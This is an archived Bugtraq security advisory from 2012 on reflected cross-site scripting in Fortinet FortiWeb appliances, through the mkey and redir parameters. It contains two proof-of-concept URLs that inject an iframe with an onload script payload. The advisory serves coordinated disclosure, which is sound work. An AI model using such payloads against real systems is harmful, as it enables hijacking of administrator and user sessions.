Home page logo
/

bugtraq logo Bugtraq mailing list archives

FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Sat, 01 Dec 2012 19:02:28 +0100

Title:
======
FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities


Date:
=====
2012-12-01


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=702


VL-ID:
=====
702


Common Vulnerability Scoring System:
====================================
2.1


Introduction:
=============
FortiWeb web application firewalls protect, balance, and accelerate your web applications, databases, and any 
information exchanged between them. Whether you are protecting applications delivered over a large enterprise, 
service provider, or cloud-based provider network, FortiWeb appliances will reduce deployment time and 
simplify security management. Fortinet s FortiWeb™ has passed ICSA Web Application Firewall Certification. 
The latest model being tested is FortiWeb 1000C. ICSA Labs certifications are evidence of FortiWeb s commitment 
to uphold the industry s highest security standards. Achieving this certification ensures that FortiWeb™ customers 
benefit from best practices in the security industry for all their Web application needs.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortiweb/ )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple cross site scripting vulnerabilities in 
Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.


Report-Timeline:
================
2012-10-01:     Researcher Notification & Coordination
2012-10-11:     Vendor Notification
2012-10-05:     Vendor Response/Feedback
2012-11-11:     Vendor Fix/Patch
2012-12-01:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Fortinet
Product: FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A non persistent cross site scripting vulnerability is detected in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 
400C & Virtual Appliance.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with low or medium 
required user inter action 
and without local privileged application user account. The vulnerability is located in the Regular Expression - 
Validation (pcre_expression/validate) 
module with the bound vulnerable redir and mkey parameters. Successful exploitation results in client side account 
steal, client side phishing & 
client-side appliance module context request manipulation.


Vulnerable Module(s):
                                [+] Regular Expression - Validation Module (pcre_expression/validate)

Vulnerable Parameter(s):
                                [+] redir
                                [+] mkey


Proof of Concept:
=================
The client side cross site scripting vulnerability can be exploited by remote attackers without application user 
account and 
with medium required user interaction. For demonstration or reproduce ...

Code Review: Regular Expression - Validation Module (mkey & redir)

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); 
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22" 
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>

... or

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); 
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22" 
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>



PoC:
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0


Solution:
=========
The vulnerability can be patched by parsing all mkey and redir success parameter requests of the vulnerable Regular 
Expression - Validation module.

2012-11-11:     Vendor Fix/Patch


Risk:
=====
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () vulnerability-lab com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - 
www.vulnerability-lab.com/register
Contact:    admin () vulnerability-lab com      - support () vulnerability-lab com             - research () 
vulnerability-lab com
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - 
news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, 
videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, 
list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or support () vulnerability-lab com) to get a 
permission.

                                        Copyright © 2012 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research () vulnerability-lab com



  By Date           By Thread  

Current thread:
  • FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities Vulnerability Lab (Dec 03)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault